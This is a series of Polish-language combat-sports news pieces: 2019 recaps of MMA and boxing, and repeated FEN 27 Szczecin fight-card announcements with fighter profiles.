Oczekiwanie na pasy

Rok 2019 w wykonaniu naszych zawodników rywalizujących w UFC obfitował we wzloty i upadki. Na rodzimym rynku również było ciekawie.

Była mistrzyni UFC w wadze słomkowej Joanna Jędrzejczyk w październiku pokonała Michelle Waterson. Tym samym odniosła dziesiąte zwycięstwo w amerykańskiej organizacji. Z niecierpliwością czekamy na występ Polki podczas gali UFC 248. 7 marca w Las Vegas Jędrzejczyk zmierzy się z Weili Zhang o pas w kategorii słomkowej. Tym samym "JJ" może minione dwanaście miesięcy uznać za udane i z nadzieją patrzeć w przyszłość. W odmiennym nastroju jest Karolina Kowalkiewicz. Była zawodniczka KSW w 2019 poniosła trzy porażki w UFC.

Dobra postawa Jana Błachowicza (na zdjęciu) sprawiła, że polski fighter jest w czołówce wagi półciężkiej i coraz częściej wymieniany jest w gronie kandydatów do starcia o pas. Na słowach się jednak kończy… W lutym zawodnik z Cieszyna spotka się z Corey'em Andersonem i będzie miał szansę zrewanżować się za porażkę z 2015 roku. Rywal musi się obawiać. Błachowicz pokazał w 2019 roku, że jest mocny. W lipcu w efektownym stylu w pierwszej rundzie znokautował Luke'a Rockholda. O tym pojedynku mówił cały świat. W listopadzie Polak wygrał z Ronaldo Souzą. Gdyby nie ta porażka z Thiago Santosem, pewnie wspominalibyśmy już walkę z Jonesem. Nie ma co narzekać, trzeba trzymać kciuki i czekać.

Udanie, po zawieszeniu, do rywalizacji w UFC wrócił Michał Oleksiejczuk. Popularny "Lord" w efektowny sposób wygrał dwie walki, powstrzymał go dopiero doświadczony Ovince Saint Preux. Po trzech porażkach z rzędu odrodził się Krzysztof Jotko. W 2019 roku polski zawodnik zanotował dwa zwycięstwa.

Sześć gal zorganizowało KSW. Polska organizacja zdobywała zagraniczne rynki – zaprezentowała się w Londynie i w Zagrzebiu. Pierwszoplanową postacią KSW został Scott Askham, który sięgnął po pas w wadze średniej. Wielkim wydarzeniem był powrót do rywalizacji Mameda Khalidova. W grudniu w Gliwicach pochodzący z Groznego zawodnik zmierzył się z Askhamem. Khalidow przegrał na dystansie trzech rund i poniósł trzecią porażkę z rzędu. Nieudaną próbę podboju wagi ciężkiej zaliczył Tomasz Narkun, który w marcu w Łodzi musiał uznać wyższość Phila de Friesa.

Nie próżnowały również inne organizacje. Cztery gale przygotowała federacja Fight Exclusive Night. Skuteczną obroną pasa w wadze średniej popisał się Andrzej Grzebyk. Dodatkowo zawodnik zapisał na swoim koncie tytuł w kategorii półśredniej. Pod koniec października Grzebyk wydał oświadczenie o tym, że odchodzi z FEN. Powodem były słowa prezesa Pawła Jóźwiaka o unikaniu przez mistrza walki z Danielem Skibińskim.

Interesującym wydarzeniem była gala Babilon MMA 10, która odbyła się w Kopalni Soli w Wieliczce. Po pierwsze – miejsce, po drugie – w walce wieczoru rywalizowano o pasy dwóch organizacji. Daniel Rutkowski pokonał Adriana Zielińskiego, co dało mu pasy Babilon MMA i FEN w wadze piórkowej.

W UFC formą nadal imponuje Amanda Nunes. Brazylijka zapisała się w historii jako pierwsza mistrzyni dwóch kategorii wagowych. Rok temu wywalczyła tytuł w wadze piórkowej, wcześniej posiadała pas kategorii koguciej. W ciągu minionych dwunastu miesięcy odprawiła dwie rywalki – Holly Holm i Germaine de Randamie. W czerwcu Henry Cejudo skutecznie zaatakował pas w wadze koguciej. Amerykanin w Chicago pokonał przez techniczny nokaut Marlona Moraesa.

Rok z pasa wagi ciężkiej cieszył się Daniel Cormier. Amerykanin napisał piękną historię, bo został mistrzem w dwóch kategoriach. Zrzekał się jednak pasa w wadze półciężkiej na rzecz zmagań w kategorii królewskiej. W tym roku Cormier stracił jednak tytuł. W sierpniu w czwartej rundzie pokonał go Stipe Miocić. Skończyło się panowanie Maxa Hollowaya w wadze piórkowej. 14 grudnia nowym czempionem został Alexander Volkanovski.

Fot. Jan Błachowicz Facebook

KM

Cios za ciosem

Koniec roku to czas podsumowań. Minione dwanaście miesięcy obfitowało w boksie w wiele interesujących pojedynków. Ciekawie było zwłaszcza w wadze ciężkiej.

1 czerwca w Madison Square Garden w Nowym Jorku stało się coś, czego nikt się nie spodziewał. Andy Ruiz Jr., który otrzymał szansę rywalizacji z Anthony'm Joshuą po wpadce dopingowej Jarrella Millera, pokonał czempiona przez techniczny nokaut w siódmej rundzie. Pierwsza porażka "AJ" na zawodowym ringu stała się faktem. Rewanż w Arabii Saudyjskiej na korzyść boksera z Wysp Brytyjskich. Joshua wypunktował Ruiza Jr. i wygrał na punkty, dzięki czemu pasy IBF, WBA i WBO wróciły do niego.

Wszyscy czekają na rewanżowe starcie Deontaya Wildera i Tysona Fury'ego, które zaplanowano na 22 lutego 2020 roku. Ponad dwanaście miesięcy temu rywalizacja pięściarzy zakończyła się remisem. W ciągu ostatniego roku obaj nie próżnowali. Mistrz WBC Wilder w maju w pierwszej rundzie odprawił Dominica Breazeale'a, zaś w listopadzie w siódmej odsłonie znokautował Luisa Ortiza, choć wcześniej Kubańczyk prezentował się lepiej. Tyson Fury również dołożył do swojego rekordu dwa zwycięstwa. Olbrzym z Wilmslow odprawił Toma Schwarza i Otto Wallina.

Z uwagą śledziliśmy kolejne występy Adama Kownackiego. 30-latek urodzony w Łomży pokonał znanych Geralda Washingtona i Chrisa Arreolę. Wydaje się, że Polak może myśleć o walce o pas. W ostatnim czasie mówiło się o pojedynku Kownackiego z Kubratem Pulewem o pas IBF. W tej kwestii wiele zależy od Joshuy – czy będzie chciał bronić tytułu.

Wiele emocji wywołała walka Krzysztofa Głowackiego z Mairisem Briedisem w półfinale turnieju World Boxing Super Series. W Rydze Łotysz zachował się skandalicznie. Briedis uderzył Głowackiego łokciem, potem trafił go po gongu. Pojedynek zakończył się w trzeciej rundzie na korzyść łotewskiego pięściarza. Ten w całej sytuacji nie widział problemów. Polski obóz odwoływał się od niesportowego zachowania Łotysza. Cierpliwość popłacała – władze WBO nakazały rewanż, Briedis nie podjął jednak rękawicy i nie przystąpił do rozmów. Tym samym boksera pozbawiono tytułu. O pas Głowackie ma zmierzyć się z Lawrence'm Okolie.

Tempa nie zwalnia 41-letni Manny Pacquiao. W styczniu Filipińczyk pokonał Adriana Bronera, a w lipcu wygrał z Keithem Thurmanem i sięgnął po pas wagi półśredniej WBA. Nie do zatrzymania jest Terence Crawford. Amerykanin skutecznie broni pasa WBO w wadze półśredniej. W 2019 roku nie sprostali mu Amir Khan i Egidijus Kavaliauskas.

Kolejne wyzwanie podjął Saul Alvarez. Rok temu Meksykanin pokonał Rocky'ego Fielding i zdobył tytuł WBA w wadze super średniej. Tym samym zapisał na swoim koncie pas w trzeciej kategorii. W 2019 roku postanowił wrócił do wagi średniej. W T-Mobile Arenie w Las Vegas "Canelo" pokonał na punkty Daniela Jacobsa i zunifikował tytuły WBC, WBA i IBF. Alvarezowi było mało sukcesów, a więc powziął za cel zdobycie trofeum. 2 listopada w MGM Grand w Las Vegas spotkał się z Sergiejem Kowaliowem w starciu o pas WBO wagi półciężkiej. Meksykanin zwyciężył przez techniczny nokaut w jedenastej odsłonie.

W kategorii lekkiej niepodzielnie panuje Wasyl Łomaczenko. 31-letni Ukrainiec w sierpniu zunifikował pas WBC, WBA oraz WBO pokonując Luke'a Campbella. Było to czternaste zwycięstwo Łomaczenki w karierze. Ponad rok na sukces musiał czekać Giennadij Gołowkin. Co prawda w czerwcu pokonał Steve'a Rollsa, ale po ubiegłorocznej porażce z Alvarezem nadal pozostawał bez pasów. W październiku Kazach zdobył tytuły IBF i IBO wagi średniej pokonując Sergieja Derewianczenkę.

W marcu Kamil Szeremeta obronił mistrzostwo Europy, a w październiku udanie zadebiutował w Stanach Zjednoczonych pokonując Oscara Cortesa. W przyszłym roku Polak ma rywalizować z Gołowkinem. Pojedynek prawdopodobnie odbędzie się na przełomie lutego i marca.

Szansy na zdobycie mistrzowskiego pasa WBO nie wykorzystał Maciej Sulęcki. Demetrius Andrade pewnie pokonał Polaka na punkty – trzy raz po 120:107.

Fot. pixabay

KM

 

Kownacki czeka na Joshuę

Adam Kownacki cierpliwie czeka na ruch Anthony’ego Joshuy w sprawie pasa IBF. Wiadomo, że „Baby Face” wróci na ring na przełomie lutego i marca.

W kończącym się roku Kownacki pokonał Geralda Washingtona i Chrisa Arreolę. Polaka wymieniało się jako jednego z kandydatów do rywalizacji z Joshuą po wpadce dopingowej Jarrella Millera. „AJ” spotkał się z Andy’m Ruizem Jr. i stracił pasy mistrzowskie, ale w rewanżu w Arabii Saudyjskiej je odzyskał. Kownackiego interesuje zwłaszcza tytuł IBF. Akcje Polaka w rankingu stoją wysoko, wyprzedza go tylko Kubrat Pulew. – Miałem nadzieję, że będę miał jakieś konkrety z walką. Niestety ich nie mam. Czekam na ruch Joshuy, co zrobi z pasem IBF –  odda czy będzie bronił? – powiedział Kownacki w AK Show. –  W mediach mówią, że może to będzie tytuł WBO, jednak dają na to małe szanse. Myślę, że to taktyka medialna, żeby pchać Pulewa do tej walki. Zobaczymy, co się stanie – dodaje pięściarz.

Kownacki trenuje i cierpliwe czeka. Wie, że jego akcje stoją wysoko i szansa na walkę o pas mistrzowski jest na wyciągnięcie ręki. Bez wątpienia Polak jest jednym z czołowych pięściarzy wagi ciężkiej i w efektownym stylu pokonuje kolejnych rywali. Wiele wskazuje na to, że najpierw Joshua zmierzy się z Pulewem. Dopóki nic nie jest pewne, trzeba mieć nadzieję. – Czekam na swoje. Nie chcę czegoś ustalić jeszcze z drużyną. Później okaże się, że jest szansa na tytuł, a ja będę miał coś ustawione. Na razie czekam. Wiem, że walka będzie koniec lutego bądź początek marca. Trenuję już jakieś 10-12 tygodni – wyjaśnia 30-letni bokser.

Niewykluczone, że najbliższym rywalem Kownackiego będzie Dominic Breazeale. 34-letni pięściarz szuka kolejnych wyzwań po nieudanej próbie zdobycia pasa WBC. W maju w Barclays Center Breazeale przegrał w pierwszej rundzie z Deontayem Wilderem. Ponad trzy lata temu Amerykanin walczył z Joshuą o pas IBF, jednak bez efektu. 34-latek dotrwał do siódmej rundy. W swojej karierze Breazeale pokonał m.in. Izuagbe Ugonoha, Erica Molinę czy Freda Kassiego.

Fot. Adam Kownacki Instagram

KM

 

Hit coraz bliżej?

Scott Askham i Tomasz Narkun zmierzą się na KSW 53? To niewykluczone. Obaj wyrazili gotowość do rywalizacji.

31-letni Anglik coraz śmielej poczyna sobie w polskiej organizacji. Askham debiut w KSW zaliczył w marcu 2018 roku w Łodzi, kiedy to już w pierwszej rundzie znokautował Michała Materlę. Były zawodnik UFC przebojowo rozpoczął przygodę z federację Martina Lewandowskiego i Macieja Kawulskiego, a później pokazał, że nie był to przypadek. Anglik wziął udział w turnieju w wadze średniej, który miał wyłonić nowego mistrza tej kategorii. W półfinale Askham w niewiele ponad minutę uporał się z Marcinem Wójcikiem. O pas Anglikowi przyszło rywalizować z Materlą. Polak chciał się zrewanżować za porażkę i walczył ambitnie, jednak 31-latek okazał sęę lepszy. W trzeciej rundzie Askham znokautował Materlę latającym kolanem i sięgnął po pas mistrzowski. To kolejne sukcesy w karierze zawodnika urodzonego w Hemsworth. Wcześniej był mistrzem BAMMA oraz Ultimate Cage FC.

Rozpędzony Askham w kolejnej walce w KSW spotkał się z legendą organizacji Mamedem Khalidovem. Dla byłego czempiona wagi średniej był to powrót po trudnych przejściach. Khalidov chciał się przełamać po dwóch porażkach z Tomaszem Narkunem, ale ta sztuka nie udała mu się. 7 grudnia podczas KSW 52: Race ręce w geście triumfu wzniósł Scott Askham.

Anglik wyrósł na gwiazdę KSW i szuka kolejnych wyzwań. Po walce z Khalidovem, zwrócił się w sprawie ewentualnej rywalizacji do mistrza kategorii półciężkiej Tomasza Narkuna. Popularny "Żyrafa" ma mocną pozycję w KSW. Narkun chciał sięgnąć po drugi pas mistrzowski, ale w marcu w Łodzi lepszy okazał się Phil de Fries i to on dzierży tytuł w kategorii ciężkiej. Narkun pokonał ostatnio przez duszenie gilotynowe Przemysława Mysiałę.

Starcie Askhama i Narkuna miałoby być superfightem. Polak wyraził gotowość do startu, ale w całej sytuacji zabrakło konkretów. Z pomocą przyszły… media społecznościowe. 21 grudnia Narkun zamieścił krótkie nagranie z treningu. Askham zaproponował starcie na KSW 53 komentując, że to bliski termin, ale będzie gotowy. "Chyba, że masz inne plany na ten wieczór… to spoko" – odpisał "Żyrafa". Z kolei Askham zaapelował do właścicieli KSW, aby zajęli się sprawą. Wielki hit już w marcu?

KM

Joniak w miejsce Wojtasa na FEN 27

Mariusz Joniak (5-4, 5 SUB) zastąpi Igora Wojtasa podczas gali FEN 27 w Szczecinie. Zawodnik z Dzierżoniowa zmierzy się 18 stycznia z Patrykiem Trytkiem (2-0, 2 KO).

Joniak 18 stycznia galą w Szczecinie zadebiutuje na FEN, a pojedynek z Trytkiem będzie największym wyzwaniem w jego dotychczasowej karierze. 22-latek trenuje pod okiem Sławomira Grabowskiego i znakomita baza parterowa pomogła mu zanotować pięć zwycięstw przez poddania swoich rywali. W sierpniu tego roku Joniak pokazał się ze znakomitej strony i pewnie pokonał Piotra Olszynkę. Dokładnie w ten sam sposób, techniką „północ-południe”, styczniowy debiutant rozprawił się dwa lata wcześniej z Aleksanderem Kellerem.

Trytek to reprezentant Berserkers Team Szczecin, który na zawodowstwie zadebiutował w czerwcu 2018 roku, kiedy przez nokaut w 1. rundzie wygrał z Robertem Gromadą. Maj kolejnego roku był dla niego równie udany, gdyż także przez nokaut rozprawił się z Ukraińcem, Mikhailem Kurchem.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov *
93,0 KG, MMA: Wojciech Janusz VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA

61,2 KG, MMA: Sebastian Romanowski VS TBA
70,0 KG, K-1: Marcin Parcheta VS TBA

77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski

61,2 KG, MMA: Patryk Trytek VS Mariusz Joniak
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt

* Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Vilson Junior dla Romanowskiego na FEN 27

Vilson Junior (11-4-1, 6 KO, 2 SUB) zmierzy się z Sebastianem Romanowskim (13-8-1, 4 KO, 2 SUB) podczas gali FEN 27 w Szczecinie. Reprezentant Kraju Kawy przywita się tym samym z federacją debiutując na polskiej ziemi.

Vilson Junior lubi często kończyć walki przed czasem, o czym przekonało się aż ośmiu rywali, których pokonywał przez nokauty i poddania. Na przełomie 2017 i 2018 roku Brazylijczyk miał serię czterech kolejnych zwycięstw na swoim koncie. 24-latek na zawodowstwie jest od 2014 roku i pierwszych pięć swoich pojedynków wygrał. W 2019 roku przegrał po bardzo dobrym pojedynku z Olexandrem Pletenko w co-main evencie gali WWFC 16, która odbyła się w Kijowie.

Romanowski to jeden z najlepszych i najbardziej doświadczonych zawodników w Polsce w kategorii koguciej. „Szczena” w przeszłości walczył również w dywizji piórkowej, więc wie, w jaki sposób walczyć z fighterami o lepszych warunkach fizycznych. Pod koniec 2017 roku Romanowski wygrał dzięki jednogłośnej decyzji sędziów z Evgenim Ryazanowem. Po przerwie od zawodowych startów spowodowanej kontuzją wrócił do rywalizacji w klatce pokonując Nikołaja Kondratuka.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov *
93,0 KG, MMA: Wojciech Janusz VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
61,2 KG, MMA: Sebastian Romanowski VS Vilson Junior
70,0 KG, K-1: Marcin Parcheta VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
61,2 KG, MMA: Patryk Trytek VS Mariusz Joniak
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt

* Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Kowalski dla Janusza w przedostatnim kroku po pas

Adam Kowalski (11-5, 2 KO, 3 SUB) będzie rywalem Wojciecha Janusza (8-4, 3 KO, 2 SUB) w pojedynku, który będzie 18 stycznia co-main eventem gali FEN 27 w Szczecinie. Będzie to eliminator do walki o pas mistrzowski FEN w kategorii półciężkiej.

Kowalski na zawodowstwo przeszedł bardzo dawno temu, bo w 2011 roku, gdy przez poddanie pokonał Kacpra Dzikiewicza. Na swoim rozkładzie ma ponadto takich fighterów, jak Szymon Piątkowski, Ireneusz Cholewa i Arkadiusz Jędraczka. W październiku 2018 roku Kowalski w 1. rundzie przez TKO zwyciężył z Wojciechem Orłowskim. Podczas debiutu pod szyldem FEN poddał w 1. rundzie Rafała Kijańczuka.

Janusz jest napędzony czterema kolejnymi zwycięstwami z rzędu. Ze znakomitej strony zawodnik Berserkers Team Szczecin pokazał się podczas gali FEN 25, gdy znokautował Michała Gutowskiego w 1. rundzie.

Janusz był wielokrotnym mistrzem Polski w brazylijskim jiu-jitsu i mistrzem Polski ADCC w Submission Fighting. „Kulkinio” udanie debiutował na FEN 7 Real Combat w Bydgoszczy, pokonując błyskawicznie Andrzeja Piątkowskiego. Miesiąc wcześniej wygrał poddał 1. rundzie Krzysztofa Pietraszka. Ponownie z Pietraszkiem skonfrontował się w październiku 2018 roku i walka zakończyła się w ten sam sposób – poddaniem Janusza. Zawodnik ze Szczecina stoczył w swojej karierze trzyrundowe boje z Michałem Oleksiejczukiem i Marcinem Wójcikiem.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov *
93,0 KG, MMA: Wojciech Janusz VS Adam Kowalski
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
61,2 KG, MMA: Sebastian Romanowski VS Vilson Junior
70,0 KG, K-1: Marcin Parcheta VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
61,2 KG, MMA: Patryk Trytek VS Mariusz Joniak
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt

* Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Dourthe rywalką Lubońskiej na FEN 27

Eva Dourthe (4-3, 1 SUB) będzie 18 stycznia w Szczecinie rywalką Katarzyny Lubońskiej (7-2, 2 SUB) podczas gali FEN 27. Zawodniczka z Francji zadebiutuje tym samym pod szyldem federacji.

Dourthe stosunkowo krótko przebywa na zawodowstwie, gdyż debiut zaliczyła w marcu 2017 roku. Pierwsze trzy pojedynki padły łupem Francuzki, która dwukrotnie zwyciężyła na pełnym dystansie, a raz poddała swoją rywalkę w 3. odsłonie pojedynku. Pod koniec 2018 roku Dourthe wygrała z Mayarą Thays po trzech rundach dzięki jednogłośnej decyzji sędziów.

Lubońska zwyciężyła w czerwcu 2019 roku w Ostródzie podczas swojego debiutu na FEN. Zawodniczka pochodząca z Piły to jedna z najlepszych kobiet w Polsce mieszanych sztuk walki. Lubońska trenuje w uznanym poznańskim klubie Czerwony Smok i tam szlifuje swoje umiejętności.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov *
93,0 KG, MMA: Wojciech Janusz VS Adam Kowalski
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS Eva Dourthe
61,2 KG, MMA: Sebastian Romanowski VS Vilson Junior
70,0 KG, K-1: Marcin Parcheta VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
61,2 KG, MMA: Patryk Trytek VS Mariusz Joniak
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt

* Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Rosyjski olbrzym Kiser rywalem Sianosa w Szczecinie

Aleksey Kiser (10-4, 8 KO, 2 SUB) będzie rywalem Marcina Sianosa (4-4, 4 KO) podczas gali FEN 27 w Szczecinie. Będzie to debiut rosyjskiego olbrzyma w klatce FEN.

Kiser wszystkie swoje 10 zwycięstw zanotował przed czasem ośmiokrotnie nokautując swoich przeciwników i dwukrotnie ich poddając. Fighter z Orenburga może pochwalić się pięcioma kolejnymi zwycięstwami przed czasem i tylko jedno z nich wyszło poza pierwszą rundę. Co bardzo ważne – Kiser wszystkie te pojedynki stoczył w 2019 roku. Jego ostatnią „zdobyczą” jest Shamil Shmulev, którego znokautował po niespełna trzech minutach walki.

Sianos spośród czterech zwycięskich walk na zawodowstwie wszystkie skończył w ten sam sposób – nokautując swoich rywali. O sile jego prawej ręki przekonał się Marcin Zontek, który jeszcze w pierwszej odsłonie musiał uznać wyższość polskiego kolosa i padł na deski, a w konsekwencji przegrał pojedynek. Wcześniej Sianos stoczył krwawy bój z Grzegorzem Cieplińskim i już w premierowej odsłonie rozprawił się z Mateuszem Łazowskim.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov *
93,0 KG, MMA: Wojciech Janusz VS Adam Kowalski
120,2 KG, MMA: Marcin Sianos VS Aleksey Kiser
56,7 KG, MMA: Katarzyna Lubońska VS Eva Dourthe
61,2 KG, MMA: Sebastian Romanowski VS Vilson Junior
70,0 KG, K-1: Marcin Parcheta VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
61,2 KG, MMA: Patryk Trytek VS Mariusz Joniak
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt

* Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Bokserska trylogia

22 lutego w Las Vegas rękawice skrzyżują Deontay Wilder i Tyson Fury. Dla obu pięściarzy będzie to druga walka, ale wcale nie oznacza, że ostatnia. Prawdopodobnie latem pięściarze stoczą trzeci pojedynek.

Boks to wielkie emocje i zacięta rywalizacja o zwycięstwo. Ten, który wygra staje się bożyszczem tłumów. Bez dwóch zdań taki charakter ma rewanżowe starcie Wildera z Fury’m. Po lutowej walce jeden z nich będzie noszony na rękach i wzniesie w górę pas mistrzowski WBC, który należy do Amerykanina. Słychać już, że starcie w Las Vegas to odcinek drogi czekającej pięściarzy. Promotor Fury'ego Franek Warren zapowiedział, że "Olbrzym z Wilmslow" spotka się z obecnym czempionem WBC po raz trzeci. Ma nastąpić to latem 2020 roku. Takie są zapisy kontraktu pomiędzy stronami.

W boksie często pięściarze pałają chęcią rewanżu. Niejednokrotnie dochodzi do kolejnych walk, a zawodnicy piszą piękne historie. Trylogia w świecie boksu to nic nowego. Być może na naszych oczach rodzi się historia, o której za lat naście wszyscy będą mówić z wypiekami na twarzy. Dziś w taki sposób wspominamy przepiękną rywalizację Muhammada Aliego z Joe Frazierem. 8 marca 1971 roku doszło do walki stulecia. W Madison Square Garden spotkało się dwóch niepokonanych pięściarzy. Przed pojedynkiem nie brakowało prowokacji i cierpkich słów. W ringu Ali i Frazier stworzyli prawdziwe widowisko. Złoty medalista igrzysk olimpijskich w Rzymie zaliczył deski! 15-rundowy pojedynek zakończył się triumfem Fraziera, który wygrał jednogłośnym werdyktem sędziów. Rewanż miał miejsce w styczniu 1974 roku. Przed pojedynkiem nie brakowało emocji, ale ich szczyt miał miejsce w studiu telewizyjnym, gdzie doszło do bójki pięściarzy. W ringu – 12 rund i zwycięstwo Aliego. Trzecie starcie odbyło się 1 października 1975 roku na Filipinach. Przed pojedynkiem Ali nie szczędził cierpkich słów rywalowi. Frazier zapewniał, że w ringu odpłaci się przeciwnikowi. Walka miała niezwykle emocjonujący przebieg, w którym dominowały ciosy z obu stron. Niesamowita kondycja, siła i wola rywalizacji. Trener Fraziera zabronił mu wyjść do ostatniej rundy. Po starciu Ali podkreślał, że rywal jest wielkim bokserem. Ten pojedynek przez wielu uznawany jest za najlepszą walkę w historii.

Mówiąc o trylogiach bokserskich warto wskazać na inną rywalizację w wadze królewskiej. Wielkie emocje wzbudziły zmagania Riddicka Bowe'go z Evanderem Holyfieldem. Pierwsze starcie w listopadzie 1992 roku wygrał srebrny medalista igrzysk z Seulu, który zdobył pasy WBC, WBA i IBF. Rok później doszło do rewanżu. Holyfield okazał się lepszy i sięgnął po tytuły. Trzecie starcie miało miejsce w listopadzie 1995 roku. Bowe w szóstej rundzie znalazł się na deskach, ale wstał i walczył dalej. W ósmej odsłonie to on mógł świętować zwycięstwo.

Fajnie wspominać i ekscytować się niezapomnianymi pojedynkami. Z niecierpliwością czekamy na drugie starcie Wildera i Fury’ego. 1 grudnia 2018 roku pięściarze stworzyli ciekawe widowisko. Zwłaszcza Fury zaskoczył świat i samego mistrza. Ociężały Brytyjczyk, który wrócił do zmagań po wielu perypetiach dał pokaz boksu na wysokim poziomie. Walka ostatecznie zakończyła się remisem. Fury ma mistrzowskie aspiracje. 22 lutego może zdegradować Wildera. A jeśli nie teraz to może latem? Czekamy na trylogię, ale taką napisaną w pięknym stylu – w ringu, a nie tylko poza nim.

Fot. Tyson Fury Facebook

KM

Koniec przygody?

W Las Vegas Oskar Piechota poniósł trzecią porażkę z rzędu w UFC. "Imadło" nie ukrywa, że może to być koniec jego przygody z amerykańską organizacją.

To nie tak miało wyglądać. Podczas gali UFC 245 Oskar Piechota chciał przełamać złą passę. Wcześniej przegrał z Geraldem Meerschaertem i Rodolfo Vieirą. Na wygraną w UFC polski zawodnik czeka ponad dwadzieścia miesięcy! Punahele Soriano debiutował w amerykańskiej organizacji w Las Vegas i chciał pokazać, że zasłużył na angaż. Pragnienie Piechoty było zgoła inne – wygrać i przedłużyć swoją przygodę z UFC.

Walka potoczyła się bardzo szybko. Po jednym z krótkich ciosów Hawajczyka, Polak padł na deski. W parterze Piechota próbował kimury, ale bez efektu. Pojedynek wrócił do stójki i Soriano wypuścił lewy sierpowy, który zamroczył "Imadło". Polak osunął się na ziemię, a Amerykanin zadał kolejne ciosy. Sędzia przerwał walkę. Trzecia porażka z rzędu Polaka w UFC stała się faktem. Kolejna przed czasem. Z tym, że dwie wcześniejsze zakończyły się w drugich odsłonach. Pojedynek z Soriano trwał nieco ponad trzy minuty.

Ponad dwa lata temu Oskar Piechota zaliczył bardzo dobre wejście do UFC. W debiucie pokonał Jonathana Wilsona, a potem w pierwszej rundzie rozbił Tima Williamsa. Tamte występy pozostają tylko miłym wspomnieniem. Teraz rzeczywistość nie wygląda kolorowo, z czego zdaje sobie sprawę Piechota. – Sam prawdopodobnie zakończyłem już przygodę z UFC choć nie dostałem jeszcze oficjalnego zwolnienia, może jakimś cudem dostane jeszcze jedna szanse.. ale nie ma co się łudzić, moje ostatnie walki wyglądały tak jak wyglądały i nic już z tym nie zmienię (pisownia oryginalna) – podzielił się swoimi odczuciami w mediach społecznościowych Piechota.

Warto wspomnieć, że polski zawodnik trafił do UFC bez porażki. Szedł jak burza i pokonywał kolejnych rywali, a w 2017 roku wywalczył pas w wadze średniej organizacji Cage Warriors.

Fot. Oskar Piechota Facebook

KM

Romanowski kolejnym bohaterem gali FEN 27

Sebastian Romanowski (13-8-1, 4 KO, 2 SUB) wystąpi na gali FEN 27 w Szczecinie. Zawodnik ze Stargardu Szczecińskiego zadebiutuje pod szyldem FEN w kategorii koguciej.

Romanowski to jeden z najlepszych i najbardziej doświadczonych zawodników w Polsce w kategorii koguciej. „Szczena” w przeszłości walczył również w dywizji piórkowej, więc wie, w jaki sposób walczyć z fighterami o lepszych warunkach fizycznych. Pod koniec 2017 roku Romanowski wygrał dzięki jednogłośnej decyzji sędziów z Evgenim Ryazanowem. Po przerwie od zawodowych startów spowodowanej kontuzją wrócił do rywalizacji w klatce pokonując Nikołaja Kondratuka.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov*
93,0 KG, MMA: Wojciech Janusz VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
70,0 KG, K-1: Marcin Parcheta VS TBA
61,2 KG, MMA: Sebastian Romanowski VS TBA
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
77,1 KG, MMA: Samuel Vogt VS TBA
61,2 KG, MMA: Patryk Trytek VS Igor Wojtas

*Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Jędraszczyk w debiucie dla Vogta na FEN 27

Jacek Jędraszczyk (6-2, 1 KO) podejmie Samuela Vogta (1-1, KO) podczas gali FEN 27 w Szczecinie. Dla widowiskowo walczącego zawodnika z Ostrowa Wielkopolskiego będzie to trzeci występ pod szyldem FEN.

Największym dotychczasowym sukcesem Jędraszczyka jego pokonanie Mateusza Głąba na początku października 2017 roku. Zawodnik z Ostrowa Wielkopolskiego stworzył wraz z Tymoteuszem Łopaczykiem kapitalne widowisko podczas FEN 21. Co ciekawe – federacja przyznała wtedy dwie najlepsze walki wieczoru, a jedna z nagród powędrowała własnie do niego. Jędraszczyk aż pięć dotychczasowych zwycięstw odniósł walcząc na pełnym dystansie. W kwietniu 2019 roku pokonał młodego-zdolnego polskiej sceny MMA, Cezarego Oleksiejczuka.

